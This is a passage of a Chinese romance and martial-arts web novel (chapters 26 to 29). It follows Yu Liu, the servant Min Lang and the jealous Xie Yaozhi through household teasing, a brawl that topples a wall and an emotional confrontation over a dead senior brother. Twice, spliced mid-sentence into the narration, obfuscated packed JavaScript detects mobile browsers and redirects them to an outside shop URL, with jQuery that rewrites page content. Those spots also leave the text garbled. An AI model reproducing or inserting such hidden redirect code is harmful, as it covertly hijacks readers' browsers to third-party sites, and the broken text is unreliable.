他知道玉流的拒绝也是关心的一种,但是她这样,显然是有点生气了,看来还是介意的。 敏郎的情绪变化没逃过身边两位长辈的眼睛。 被玉流放过,提着心活了回来的卢主簿不解:“敏郎,你怎么看起来有点沮丧。” 敏郎望着玉流离去的背影,闷声:“没有。” “沮丧?这不是沮丧,是患得患失吧。”柳吾善在这两个小年轻古古怪怪的举止间来回观望,灵光一闪就想通了关窍所在,乐呵呵得不行。 他大声道:“嘶,虽然不关我的事,但是敏郎你的手背上怎么有抓痕?还挺深的,被猫挠了?” 敏郎朝柳吾善看去,两人对上眼。 交换过眼神,敏郎拉下袖子,脸上升起点点薄红:“嗯,就、就……昨天晚上。” “哦,这么不小心啊,还有你脖子上的白纱是不是裹得宽了,我看比昨天回来的时候宽了不少呐。” “没、没有,就是这样的。” 卢主簿看不懂,轻声问:“大人,你在干嘛呢?” 柳吾善抬脚狠狠踩在老卢的脚背上,疼得卢主簿嗷嗷叫。 推走老光棍,柳吾善往敏郎跟前紧逼,逼得他往后退:“哎,如果我没有看错的话,你这脸上——” “敏郎!”玉流装不下去了,搓了把发烫的耳朵,这老萝卜精估计早就看出来了。她在路那头朝他喊,“过来!” “啊,就、就来,”敏郎咽了咽喉咙,扶着腰弱柳扶风,还不忘低头虚弱地否认,“不是的,柳大人你看错了。我腰疼,就腰疼,我先走了,走了。” 一道风飞走,只剩下完全不明所以的卢主簿和满脸意味深长的柳吾善。 柳吾善:就说是不是好兆头吧。 26. 有结果 “你呀你呀,你这脑子哪里是脑子啊,都快成木头了。和你说了多少次,洗澡的时候脑袋要露在外面!”敏郎前脚刚走,柳吾善后脚就开始戳着卢主簿的脑门子训话。 卢主簿讪讪:“我这不是为了敏郎着想嘛。” 柳吾善眉毛竖起:“你还有理了?” 卢主簿:“没有没有。” “这还差不多,好了,人家的事情不用你瞎操心,”柳吾善伸了个懒腰,“随我去地牢,想想怎么给那具死尸写卷宗吧。” 卢主簿:“可是,玉大人不是都回来了,我们还管呐。” “你不懂,她做她的,我也要装装样子,要是之后陛下过问,而我什么都不知道,那就不好了。” 卢主簿怀疑自己听错了:“您还想去京城述职?” “怎么,你有意见!” 柳吾善走了几步,卢主簿还没跟上,回头,很是疑惑:“你还站这儿干嘛,等会儿看玉大人劈柴?” 他是这么理解玉流说的“等会儿自己来”。 “啊,来了来了,”卢主簿倒吸一口凉气,这可比柳吾善去京城还要吓人,老老实实地跟上,小声嘀咕,“大人你说她会不会一斧子劈我脸上来?” “很有远见呐,所以和我去看死人活命吧,”柳吾善提醒,“对了你帕子带上了吧,到时候别吐我身上。” “知道知道。” 两人勾肩搭背地走远,窸窸窣窣的声音再也听不见了,玉流拽着敏郎从角落出来。 她对他刚才的那些话还有点恼:“我不管你是不是故——” 看着敏郎呆头呆脑的模样,话到嘴边,玉流隔空捶了自己一把:“等会儿空了再说吧,你去烧水。” 敏郎只听懂了最后一句:“不、不先劈柴吗?” “房里还有的吧,你先去烧,我劈了补上。” “好,那大人,”敏郎支吾,“小心腰。” 说完,飞快地窜进东厨了。 “嘶——”玉流吸气,觉得浑身不得劲,这事儿是过不去了是吧。 一炷香的时间,睡眠向来很好的杨淮月起了床,出门打着哈欠,朝玉流打招呼:“呀,大人起来劈柴啊?” “夫人早,”玉流脚边的木头已经堆成了一座小山,“自己动手,丰衣足食。” “辛苦了,”杨淮月也不多问她为什么要劈柴,四处看了看,“大人瞧见老柳了吗?” 玉流:“去地牢了吧。” “挺好挺好,”柳吾善终于要开始干点正经事了,杨淮月放心了些,扎起袖子,看向玉流,“大人早上要吃点什么?” “我就不用了,夫人你们自己吃吧。”一碗药汤喝下去,她的胃里至今都是苦的,吃什么的胃口都没了。 “多少吃点呐大人,现在年纪小经得起瞎折腾,以后就说不准了,早前吃过的苦头跟箭矢一样咻咻地往自个儿身上射。” 好熟悉的话……玉流默然,不自觉扶上腰:“那就多少吃点。” “好嘞。” 杨淮月进了东厨,看见炉子后面坐着的人,惊讶道:“怎么是敏郎你在烧火啊,我看看,烧水,你要洗澡?” “啊,是,”敏郎塞进一块木头,炸开一堆的火星,“晚上累出汗了,得洗一洗。” “是吗,我看你气色不错,昨夜睡得挺好?” 满屋燃烧的火花声都经不住杨淮月的大嗓门,玉流脚下一顿,斧头就斜着劈开木桩。 玉流提着斧头看着地上两块一大一小的木头,心想这事儿是真的过不去了。 她心里有气发作不了,就提着气接着劈,越劈声越大,吓得坐在小板凳上的敏郎情不自禁地抖了一下。 “哈、哈哈,夫人不要打趣我了。” 都说一个被窝睡不出两种人,杨淮月也跟柳吾善一样在某些方面很灵光。她拿胳膊肘推敏郎,捂着嘴轻声道:“大人也要洗?” “嗯。” “那你怎么能让大人在外头劈柴,她多累啊。” “我,那个……”炉子里头火光冲天,他被照得红扑扑的,这样即使脸红也不会被看出来。 敏郎:“我昨晚扭到腰了,大人体恤我。” “怎么这么不小心,你多注意点,别和老柳一样,这才四十身体就脆成那样,”杨淮月不由得担心,“我那儿有药,我给你去拿啊,洗好了敷一下,好得快。” “好、好呢。” 杨淮月风风火火地从玉流身边经过,慈爱地朝她眨眼。 玉流简直如芒刺在背。 等杨淮月推门进屋了,她停下,侧身,看向认真烧火的人。她怎么有种过不了多久大家都会知道的预感。 事实证明,她的预感是对的。 半个时辰后,谢遥知从后门晃荡进来。 敏郎正端着木盆给马厩冲洗,哗哗的流水声,湿了大半的地。 “呦吼,一大早这么忙,你在做什么?”谢遥知听起来心情不错,靠在门上也不走开。 敏郎将盆里的水甩干净:“大人刚洗完澡,我在倒水。” “洗澡?她大早上洗澡?她什么时候这么讲究了。” “不可以吗?” 听出他语气里的不悦,谢遥知嗤笑:“呦,这就护上了啊,我问问不行?” “大人的私事,公子作为无关男子,不要多问。”敏郎抱着盆,心道要是再问下去,到时候生气的就是你了。 “切,我不问她,我问你,”谢遥知收起了笑脸,拍去背上的灰尘,“你知道我昨天下午出去干嘛了吗?” 敏郎记得杨淮月的话,扭头看着他,复述:“喝酒。” 他们从见到彼此的第一眼起就不对付,而今更是相看两相厌到了极点。 “喝酒,就是喝酒,”谢遥知心里冷笑,动了动脚踝,“喝了一碗送你上路的黄泉酒——” 说着,抬脚踢开敏郎手里的盆子,不顾身后受惊的马儿嘶鸣,几乎是眨眼间,敏郎就被他用扇子抵到了墙边。 谢遥知眉眼狠厉:“我找人查了,深水村是有个敏郎,可他早八百年前就离家了,那你,你又从哪儿来的呢?” 敏郎没动,任由扇子里的刀尖对准咽喉,他丝毫不慌:“我不可以回来吗?” “可以啊,问题是你刚好在玉流来之前回来,遇上洪水死了爷爷,还被太守府收留,太凑巧了吧,敏郎。” 谢遥知接着说:“怎么,觉得没人会去查证?你也太小看我了。你用这个骗柳吾善就算了,骗我可行不通。说,你接近玉流到底有什么目的。” “我就是想伺候大人不可以吗,”敏郎对上谢遥知凶狠的眼睛,实在是无法理解他的气愤缘何而来,一板一眼道,“出门在外时听得大殷女侯官的威名,未见其人已倾我心,而后一眼万年。” 这种情话当着别人的面说出来,敏郎不好意思地脸红了。 “什么?你脑子没坏吧。” 这是一个傻子吧,谢遥知觉得自己的眼睛和耳朵都被侮辱了:“你一个乡野小渔夫,要身家没身家,要能力没能力,仗着有几分宋繁声的姿色就想上位,你以为你是谁,真把自己当情种了?” “我警告你,我不管你是从哪里听说过我们的事情,也不管你背后有没有人指使,她的身边可没有你这种人的位置,你和她也不会有什么好结果,所以……”谢遥知抵刀的手越发用力,“趁我还没告诉她,识相的话,赶紧给我滚开。否则……送你上路的就不是我了。” 除了那点脸红,敏郎一直很静,两个人一冷一热仿佛两个极端。 “谢公子说完了是吧,那听我说说。”敏郎握住谢遥知的手腕,看着瘦弱的人此刻却能毫不费力地 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眼下玉流还不想让他知道这件事,折起手中的信,藏进袖子里:“没有,随便走走。” “与我下盘棋如何,听说大人棋艺不错。淮月去做饭了,空着肚子我也闲得慌。” 玉流不知道柳吾善这个人精在打什么主意,袖中的食指敲敲打打。她很清楚,调查安家已经失了先机,也不相差这么一会儿了。 她点头,道:“好。” 柳吾善找了阴凉处,就地摆上了棋盘。 玉流猜对了先,先手着黑子。 一子一子落下,柳吾善装作不经意地提起:“敏郎呢?” 玉流:“去洗澡了吧。” 柳吾善:“哦,敏郎的房间是不是离得太远了,要不要我让他住到大人隔壁?” 玉流:“不用。” 柳吾善:“哦。那——” 玉流:“不用。” 柳吾善:“哦。” 他这一分心,不知不觉就被黑子堵得节节败退。 “嚯,大人好凶猛的棋风。” “柳大人不问东问西的话就不会这样了。”玉流下棋和她一样,抓住机会,主打一个求赢。 柳吾善捏着白子,纵观棋局:“那我……就走这——” “不好了不好了,大人们,大事不好了。” 卢主簿的喊声猛地冒出来,吓了柳吾善一大跳,手指抖了抖,啪嗒——棋子落了。 “老卢,说了多少遍,不要瞎嚷嚷。”柳吾善一边数落,一边偷瞄对面的玉流,手指已经鬼鬼祟祟地摸到了那颗棋子上。 “柳大人,落子无悔,”玉流拦下他蠢蠢欲动的手,“不许重来。” “行吧,行吧,”柳吾善被抓包只能装大方,“让玉大人一子又何妨,好了老卢,出什么事了?谁又死了?” 卢主簿定定地看着柳吾善闲适的姿态,一股怨气油然而生。 没案子也就罢了,怎么有案子柳吾善还能整日清闲,反而是他一个主簿累死累活。 昨天,去城门是他倒霉,他认了,那刚才呢,他的好太守好上司说带他去研究尸体,要他不要吐,结果自己刚下台阶看了一眼就说受不了,转头就跑。 他一个人蹲着,忍着恶心研究了半天,反胃着呢还要回屋斟酌字句地写卷宗。 他只是一个主簿啊。 岂有此理! 想到这里,卢主簿突然就有一种不想干了的疯感。 于是,老卢用十分安详的语气道:“哦,也没什么大事,就是我去吐的时候看见那位逍遥阁的谢公子和敏郎在后门那边打起来了,我看后门的那面墙快塌了,过来和大人说一声。” 仿佛预言一般,卢主簿刚说完,后门那个方位就传来了震耳欲聋的“轰隆”一声…… 27. 闹什么 狼藉的断壁残垣中,清隽与狷狂的两道身影在一堆飞扬的尘土中纠缠。 相较于昨日,今天是用上功夫了,甚至算是打得难舍难分,尤其是谢遥知,更是疯子杀红了眼。 玉流耐着性子观赏了一会儿,实在要有个评价的话,她只能说还是太难看。这两人身法都算下乘,看着拼命但真的没什么杀伤力,就是可怜那面墙。 柳吾善也有这个疑问,太守府虽然不是固若金汤,但也不至于一触即溃吧,他都能看出来的二等流派居然还把他的墙给搞塌了? 柳吾善不信,不过他此时更在意对打的那两位,扭头和卢主簿窃窃私语:“老卢你说他们中谁更厉害?” 卢主簿十分佩服自家大人无时无刻不在保持的松弛状态,摇头在他耳边轻轻报出一个数,那是修葺整面墙的价钱。 “多少?你说多少!” 卢主簿拍着柳吾善的肩膀以示安慰,并预判了他的动作,想要撤离,然而太迟了。 柳吾善确认自己没有听错后,满脸阴云,在两眼一黑晕过去之前,眼疾手快勾住了卢主簿的袖子,嘴角抽动。 卢主簿铁了心要撂摊子,浑身都是铿锵有力的拒绝:我不。 “你——那我自己来。” 说罢,柳吾善捂着心口就开始演:“啊这这这……” 眼看自己就要倒地,卢主簿还跟个棍子一样杵着,柳吾善只能唱独角戏:“不行不行,我要晕了。” 玉流掀起眼皮,没分给柳吾善半个眼神,盘着从棋盒里顺来的两枚黑子,双指捏着,用内力打在二人的手腕上。 只听见哒哒两声,两人疼得同时松开手。 玉流也不知道在看哪里,总归没看他们其中的谁,四平八稳道:“闹够了没?” “没有!”谢遥知早就看见他们来了,他也不装,闷头就是打,打得敏郎根本无心演戏。他吃了一次亏,不会再吃第二次。 “没问你,”玉流直接略过他,看向另一个,“问你。” “够了。”敏郎可太听她的话了,乖乖点头,乖乖站好。 “哼!”谢遥知骂了几句,拳头攥得咔咔响。 对手已经后退,玉流又在边上等着,她没直接动手已经是给足了他面子。谢遥知强忍住想撕了敏郎的滔天怒火,终是没有再上前。 在边上围观的柳吾善反复确定两人不会再动手后,一个箭步冲到塌了的围墙边上,扯着嗓子就开始嚎:“我的墙,我的墙,我、的、墙!府里本来就没什么银子,吃穿用度都是能省一点就一点,这可怎么办,怎、么、办!” 柳吾善捧着块砖头哭丧的模样实在是太好笑。 卢主簿:没眼看,还好我坚定地拒绝了。 闻讯赶来的杨淮月:丢人。 玉流:“别嚎了,我来赔。” 她摸出点碎金子,伸手递过去:“够了吗,柳大人。” 柳吾善眼泪一下就不流了,淡定地站好,拂去身上的灰尘,双手捧着接过:“够了够了,劳烦玉大人破费。” 卢主簿:更加没眼看。 杨淮月:更加丢人。 玉流对柳吾善又多了个印象:爱演又死抠的老萝卜精。 “此事到此为止,敏郎你去洗澡。”玉流清浅的目光从敏郎脸上越过,本想去替他拨开满头乌发中的斑驳墙土,却在走向他时脚步一转,调往去了谢遥知那边。 她怎么会猜不到了他们之间发生了什么,虽然不介意他会说出来,但是他不该这样去激怒谢遥知,这位,是个不知什么时候就会爆炸的炮仗。 玉流难免生出点郁闷来。 她真是对他太好了,或许,也得冷落一下了。 玉流:“你,跟我走。” 敏郎眼睁睁地看着玉流走向另一边,拉起灰头土脸的谢遥知,看着他在拉拽中回头张扬地显摆,直到他们走远了仍然不敢相信自己就这样被丢下。 她都不关心关心他的伤吗?明明他看起来,才是更狼狈,更可怜的那个。 他愣愣地站在原地,眼珠子死死地黏在玉流握住谢遥知的手上。 和谢遥知打了半宿都没被他抓哭,这时候鼻头一阵酸楚,像是死气沉沉的晴天突下的阵雨,眼泪就这么落了下来。 有瑕疵的珍珠不值钱,他的眼泪也不值钱。 “哎呦。”杨淮月唏嘘不已。 小辈年轻,干架起来真是要命,劝和也是。分个轻重缓急,就有人伤心难过。她看不下去了,过去拉敏郎:“走吧走吧,我带你去上点药,瞧这脸和脖子,挠得跟花猫一样。” 敏郎没什么反应,任由她拉走。除了玉流,其他人都没什么区别。 杨淮月也不知道怎么安慰他,还是先处理好自己的家事起。她转头,挡着嘴,无声对着柳吾善和卢主簿道:“你俩,给我想办法把墙补了!” 走了几步,又扭头补充:“这是命令,不然,都咔了。” 想偷懒的柳吾善:“是,夫人。” 闹别扭的卢主簿:“是,夫人。” 玉流房内。 人在不愿意去相信某件事的时候,先是否认,继而求证,最后逃避,实在逃避不了了再另当别论。 谢遥知不愿意去相信敏郎的话,那死骗子就是挑拨寻衅,就是耍心机,就是想在他这里找存在感。 天怎么可能一夜之间就变了呢? 不可能的。 你看,她带走的是他,她选择的是他,于是理所当然的,他生出点侥幸来,带着卑微的期盼,期盼她的回应:“玉流,你快告诉我,那狗崽子说的是假的,睡什么睡,没有,你们没有,是不是?” 玉流正在倒茶:“渴吗,喝一杯?” “不渴,不喝。”谢遥知满脑子都急着从当事人嘴里得到他想要的真相,所以没能察觉到玉流比寻常更冷的语气。 玉流放下茶壶,自己喝了满满一杯。冰冷的茶水下肚,她坐下,扶着额头舒缓疼得不行的脑袋:“你和他闹什么,还闹得这么大,难道你觉得这样光彩吗?” “你说这个做什么,怎么又在怪我了,这件事等会儿说不行吗,我现在又不是在问你这个,你——”话到一半,谢遥知猛然僵住。他只是气晕了,又不是傻了,怎么会听不出玉流堪称变相的承认。 谢遥知的心晃了晃,顿时一阵麻软无力,双脚快要站不住,靠着桌子才勉强站稳。他觉得眼睛有点酸,眼前是一片片的恍惚,他想哭,却哭不出来。 那份从来都在的傲气令他仍然不愿去相信:“玉流?” 玉流看向他,点头的动作在他眼中逐渐放慢:“就是——”你听到的那样。 “不是!”谢遥知大声打断,他不想听。 “你告诉我不是的,不是的,玉流,”他放下身段,哀求她,“只要你说,我会信的。” 玉流沉默的凝视是最后的回答。 那层最薄弱的理智崩塌了,谢遥知浑身发抖,遵循人性的指示,选择用最粗劣的手段竭力掩盖自己的丑态。 他抓住玉流的手:“为什么,为什么!” 宋繁声死后,他曾卑劣地期盼过,就算不是他,玉流的身边也不会有其他人,她的性子就不允许会有其他人。这样很好,等那些和玉流有关的人都走了,都死了,她的身边就会只有他了。 这样,也是名正言顺。 可是,为什么会变成这样,他想了这么多年,竟然被一个狼子野心的狗崽子捷足先登…… 这大概会是他们相识以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他快步走来,握住玉流的手,按捺不住满身的情伤:“敏郎,他就是个彻头彻尾的骗子,说不准这个名字都是拿来骗你的,我昨天出去——” 玉流也有气:“我知道,你去找人喝酒了。” “那只是个借口!”谢遥知急急解释,“我这身份,不能太高调的……我、我、我……” 江湖上能说会道的玉公子第一次字不成句:“你难道不想知道——” “不想。” 玉流打断他,冷着脸扯回自己的手。 这样的谢遥知让她觉得很累,再争执下去只会让自己更累。反正该说的已经说了,她不想再应付了:“敏郎的事情,与你无关。没其他事情的话,你可以走了。” 这是极其狠心的动作,极其狠心的回绝,狠心到谢遥知听出了她好不掩饰的送客之意。 低头盯着自己被推开的手,倏地笑了一声。 他在笑话自己,从前比不过宋繁声也就罢了,现在在她心中又不如一个才认识几天的骗子。 谢遥知闭上眼:“所以你根本没有选择我。” 玉流蹙眉:“你在说什么?” “你将我带来只是为了承认,你要护他是吗?” “……” “玉流,你变了,你心软了。” “我——” “不行,不行,这样不行,”谢遥知自顾自絮语,“你不能让他成为你的弱点,你不能有弱点。” 他抬头,再看她时双眼赤红,整个人跟疯魔了似的:“杀了他。” “玉流,杀了他。” “就像你从前杀了宋繁声一样。” 28. 杀了他 “你说什么,”淡漠的眼眸骤然锁紧,玉流哑声,“你、说、什、么!” 谢遥知已全然不顾玉流难看的脸色,眼底越发猩红:“你能下狠心杀了宋繁声难道还不能杀了个无足轻重的小郎君?你得杀了他,玉流,你得——” “我说,听不懂人话是吗,”几乎是从齿间磨出的字眼带着一连串压抑的薄怒,她在忍着,忍着不对他动手,“谁和你说是我杀了他——” “谢遥知,”玉流仰头,直直对上他的眼,“谁和你的说的!” 玉流的怒呵让谢遥知从深陷的噩梦中惊醒:“我,玉流,我刚才……” 记忆的沙钟溯流,他的脸色瞬间煞白,冷汗从后颈滑落,谢遥知懊悔不已:“玉流,我——” 他想去抓玉流的手,被她直接拂袖推开。 “滚开。” 从未爆发的怒火不会烧死别人,只会让她自己起火。玉流松着手指,攒着拳头,她不喜欢他质问的姿态,更不喜欢他知错后故意的触碰。 “别碰我。” 谢遥知就这么站着,涩然张开嘴,无声了好一会儿。 他提到了她的逆鳞,她生气了。 他可能要被她推远,要被她防备,甚至还要被她厌恶。 这不行。 “我、我不是这个意思,我刚才,我只是,只是……”谢遥知将满嘴的苦涩往心头咽,小声地解释,“只是气昏了头。” “你昏了头,”玉流要气笑了,拧着眼,“我看是我昏了头,我没睡醒,所以发现你不仅要教我做事,还要用那个不知道从哪里传出的谣言来激我。” “是我错了,我真的就是一时脑子抽了,”谢遥知低声唤她,带着轻微的讨好,“玉流,玉流。” 似乎这么叫了,玉流就会消气,就会原谅他。 若是从前,玉流会,他只是嘴贱,蠢话打到皮肉上,拍下就掉了,她不至于往心里去。 这次不行,千不该万不该,他提到了宋繁声。 宋繁声,不一样。 玉流没理会他的道歉:“谢遥知,我再问一遍,你怎么知道是我杀了他?” 她揪着这个不放,谢遥知深知自己逃不过了,情急之下只能甩锅:“我是听其他人这么说……” 玉流简直要笑出声来:“其他人这么说你就信了?你脑子呢?太可笑了吧。” 她觉得自己那点火气快压不住了,随同而来的还有失望。 “谢遥知,我们认识这么久了,没想到连你都这样,那朱雀,慕容鸠,还有我师父,我也不用去求证了吧……可我就算再怎么大逆不道,再怎么十恶五逆,也不会真的对他下死手。他,宋繁声,是我师兄,是陪了我十多年的师兄,你怎么能!你怎么敢!” 谢遥知没想到她会这么生气,就因为一个宋繁声?对,就因为一个宋繁声……就因为成了玉流该死的师兄,所以他永远比不过宋繁声。 玉流呼着热气,觉得自己要静一静:“滚吧谢遥知,我这几天不想再看见你。” 她指着门:“现在就滚。” 谢遥知顺着她的手看向门口,他知道他们之间需要彼此冷静,可他也知道,这次过去,他们之间或许就回不到从前了。 那不如就趁此说个明白,对她和他,都好。 “所以你讨厌我了吗?就因为这么一句?” “玉流,你当他是师兄,可他把你当成师妹过吗!” 沉积多年的苦闷出口,谢遥知再也不能胜过那层厚重的,从不见光的阴晦恨意与黯淡爱欲了。 输给自己的他道:“玉流,你就这么想他,这么爱他吗?” 气息恍惚停滞了须臾。 “哈?”玉流听见他的话都差点以为自己疯了。要死了,他不会真的病了吧。 “谢遥知,我说了,你脑子坏了去看郎中,别有事没事就来我这儿发病。” 她开始推他:“出去,出去。” “可我不想。”谢遥知紧紧地抓住玉流的手腕。 他们也是年少相识,他和她认识的时间从不比宋繁声的短,他对玉流的了解也从不比宋繁声的少。玉流的逃避,他也一眼就能看出来。 宋繁声死后,任何与他有关的,她都避而不谈。好像她不说,他就没死一样。 那怎么能行呢,最大的对手没有了,怎么也该轮到他了。 可他错失了半步,快要没机会了。 “为什么不回答我,你在躲什么。玉流,你在躲他,还是在躲我?” “他已经死了,死了,你别想着他了,你该看看别人吧,看看——”我吧。 “闭嘴!”不容许他说完,玉流竭力挣开,手腕圈着泛红的手印,可见谢遥知的力气有多大。 玉流揉着手,她真想不通为什么要浪费时间和他说这些:“你想我回答什么,我和他之间,和你有关吗?” “无关,”玉流自问自答,“我爱他,恨他,还是杀他,都与你无关。” 这些话说出口,玉流自己都觉得矫情,惨淡一笑,这日子过得可真是无趣。 “谢遥知,你就当是我杀了他吧。” 这是一个很逆反的回应。 犹如倒退的瀑布,合拢的花苞,上飘的枯叶……然而他听懂了。 她杀了他,所以她也恨他,也爱他。 谢遥知终于没撑住,踉跄了几步,撞到了门上。 有什么,好像彻底崩塌了。细细碎碎地合拢在一起,捧不起来,也化不掉。 他缓了很久,玉流就冷冷地看了他这么久,然后,她打算走了。 她对他,好像从来都没有多少的偏心。 谢遥知失魂地按着门。 玉流:“怎么,你不走,我也不能走?” 谢遥知根本没有在听她的话:“没了宋繁声,所以你就允许一个替身留下了是吗?” 玉流:“我以为我们已经聊过这个了。” 谢遥知:“聊?你当初说把他当弟弟,弟弟能睡到一张床上?” 玉流:“你又要闹了是吧。” 谢遥知:“哈,是呀,我又要开始闹了。玉流,你每次都是这样,你从来不正面回答我的问题。” 他握住玉流的手,很小心,很卑微,慢慢放到自己的心口处,掌心下是温热的,强劲的心跳:“他可以,为什么我不可以?如果你想要宋繁声,我也可以学他的,毕竟,这世上没有人比我更了解他了。” 那个恣意狂妄的狐狸不见了,眼前的谢遥知伤痕累累,玉流觉得陌生,也觉得不安。好像她说不,他就真的会坠入万劫不复的深渊。 他们之间,明明不是这样的关系。 “谢遥知,我一直把你当朋友。”玉流狠心抽回手,弱点一个就够了。 她避开他的眼睛:“你不要逼我,更不该逼我。” 谢遥知看着她再次逃避,再看着自己空空的手心,自嘲地笑笑。 “朋友?哦,原来是朋友啊。”原来不管宋繁声是死是活,他永远都低他一头,永远都排在他身后。 “我知道了,是我多想了,你今天就当我是犯病了。”谢遥知推开门,跨过门槛的那刻,他知道,从今以后,他们或许连朋友都做不得了。 “玉流,”在关上门之前,谢遥知吞下哀伤的苦果,他提醒她,“敏郎太有心机了,如果你还把我当朋友,就听听我这个朋友的建议,小心他。” 一门之隔,自他进去出来,估计连一刻钟都没有,于他,却像是过了千万年。 谢遥知拢着衣襟,沿着阴凉的屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037455|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 檐一路往大门走去。他被玉流的无情和无知伤透了心,没留意到脚下的杂物。 快要被绊倒前,一双手扶住了他。 “谢公子你还好吗?” 谢遥知退开,看向这双手的主人:“多谢柳大人。” 柳吾善微笑:“不客气。” 柳吾善为什么会出现在这儿的呢?因为砌墙的活儿他是不会干的。 卢主簿抓住他:“不是吧大人,你想跑?” 柳吾善坦坦荡荡:“给你涨工钱。” “柳大人,你我相识多少年了,我在你眼中就是这么肤浅的人吗?”卢主簿脊梁笔挺。 柳吾善伸出一根手指:“翻一番。” 卢主簿:“哼。” 柳吾善再伸出一根手指:“碎金子用不完的就归你了,算今年的补贴和奖赏。” “……”卢主簿一阵沉默后,从柳吾善手里夺过金子,转身就跑。当然,是跑去干活。 “太好啦。”柳吾善整个人都轻松了,不过也不能太轻松,玉流这边还有事没解决。作为敏郎的娘家人,他自认为身负重担,立马就背着手在玉流房间外面晃荡。 他也不敢太靠近,偷听的好奇终究是敌不过活命要紧。 一路走啊走,走了不知多少圈,终于等到谢遥知出来,然后啊,就能从他走路的精气神里看出来啥结果了。 “谢公子你这是,”柳吾善装作路过,“要走了吗?” 谢遥知:“嗯。” 听听这饱受打击的声音,太可怜了,柳吾善莫名来了善心:“谢公子,老话说得好,强扭的瓜不甜。” 谢遥知的脸色立刻就变了。 玉流是玉流,其他人是其他人,对于其他人,他讥讽的能耐就没差过。 谢遥知站好,拂去身上从杂物那儿沾上的薄土,冷眼斜视:“无涯贼首的案子还没结束,柳大人就咸吃萝卜淡操心了?不如多关心关心自己,想想怎么守住崇州吧。” 柳吾善被刺了一刀,目送一身怨气的谢遥知走出太守府后,与藏在暗处的杨淮月相看一眼,无奈地叹了口气。 离开太守府后,谢遥知没有回逍遥阁,而是独自一人走到了崇州山道上。 没走几步,看着迎面而来的人,像是未卜先知一般,他道:“你也知道了?” “有预料,看到你这失魂落魄的样子,预料成真。” “阿鸠,你可真是半句能安慰我的假话都没有。” 慕容鸠微停顿,淡淡道:“你要走了是吗?” “人都没了,我留下来又有什么用。” “人都没了,你更应该留下,”慕容鸠看着他,认真道,“阿遥,坦诚并不适合你,也不适合玉流。” 谢遥知就好像没听出他的言外之意,镇定地岔开话题:“说起来,她好像从来都没有叫过我阿遥。”从来都是谢遥知,谢遥知,谢遥知……像是一个亘古不变的诅咒。 “阿鸠,我真的不甘于此。” 玉流在宋繁声和谢遥知之间,他一直知道她会选择谁。今日,在敏郎和谢遥知之间,他也知道了。 他真的不甘心输给一个替身。 谢遥知看向雨雾缭绕的山面,看向另一端。 十多年来的景象犹在眼前,没想到宋繁声死了他还这么倒霉,才过了三年就送来一个敏郎,一个替身……谢遥知眼神微颤,混账,这群混账—— 似乎是对谢遥知的失控有所预感,慕容鸠抓住他的手:“阿遥,适可而止。” “呵,”谢遥知轻笑,甩开慕容鸠,他并不需要看不出真假的怜悯,“阿鸠,这也不适合我。” 闭眼收好嗜血的决定,他说:“你不懂,你也不会懂的。” 我和她之间,你们这些人,又知道多少呢? 29. 别哭了 玉流折下眼前低压的枝条,顺着石板路走出院子。 敏郎住的屋子在另一侧。 应该是为了方便他干杂活,特地安排他住到了靠近围墙旁边的小屋子。 这里的树好多,玉流一眼扫过去,落在很突兀的那棵上。 柏树吗,小小的一棵,瘦瘦的一条,估计也就几年的光景,哪里有人在门前种柏树的,树下还堆了一排的银边兰。 感觉没怎么好好养,里面都有扶芳藤了,长势似乎也比兰花好许多。 玉流拿树枝甩了甩,抽到了树干上,头顶响起叽叽喳喳。 看来这里的鸟也很多,很吵。 柳吾善倒是没骗她,与这儿比,她住的那边的确幽静太多。 玉流丢开树枝,轻着步子走到敏郎房间门前,侧耳听了听,随后敲上一层薄薄的门板:“别哭了,开门。” “啊?……啊!”里头响起咚的一声,玉流辨别着声音大小和轻重,敏郎估计是被她吓到,从床上摔下来,膝盖磕到地上了。 “嘶——”敏郎呼了呼,发出由强到弱的抽噎回应,“我没哭!没、哭……” 听上去人挺好,玉流点着门:“行,那我走了。” “哎,等、等等。” 玉流一向不按套路来,说要走就是真的走。 敏郎急得都没站好,扑过去推开门,探身朝前看了看,玉流的裙摆都没见着:“真、真走了啊。” 纤长葱白,骨肉匀称的手摸上门框,玉流从门后走了出来,挑眉凑近,学他说话:“真、真哭了啊。” 敏郎眼睛瞬间亮了,又觉得自己应该在怄气,匆匆抹去眼泪,扭过脸闷声闷气:“大人来看我做什么?” 呦,还真像那么一回事儿,所以真就怪她呗。 玉流抱着手,靠着门,道:“柳大人让我来看看。” 谢遥知走后不久,她就打算去崇州外,刚踩下一步,柳吾善就跟嗅到什么味道一样,又来了。 “玉大人,”柳吾善站在门外,透出鬼鬼祟祟的影子,“玉大人有空吗?” 玉流开门:“柳大人有事?” “也没什么,就,”柳吾善当起了操心长辈,“淮月刚从敏郎那边回来,说给他上完药,合上门没多久,应该是以为她走了,自己就在屋里哭了。” “嗯,不是柳大人的建议吗,”玉流还记着这一茬呢,怼他一句,“怎么,大人这是围墙修好了,还有空去管别人的事了?” 柳吾善都要吹胡子瞪眼了。这么什么反应,这么平淡吗,那可不行,哪有人刚进一步就退回原地的。 “围墙是小问题,来来来,我们来说敏郎。玉大人你听我说,是老卢听错了,我是让敏郎不要急,他本身说话就容易磕巴,一急就会上情绪,一上情绪就哭了,玉大人又不是我和淮月,没有义务等他慢悠悠地说完的。” 似乎怕她不信,柳吾善振臂高呼:“你看他那张脸,那性子,那年纪,他才十八,哪里是会演戏撒谎骗你的样子?” “不——” 玉流才出声,柳吾善就迅速接上去:“不会,对不对!” 玉流:“……”是不好说。 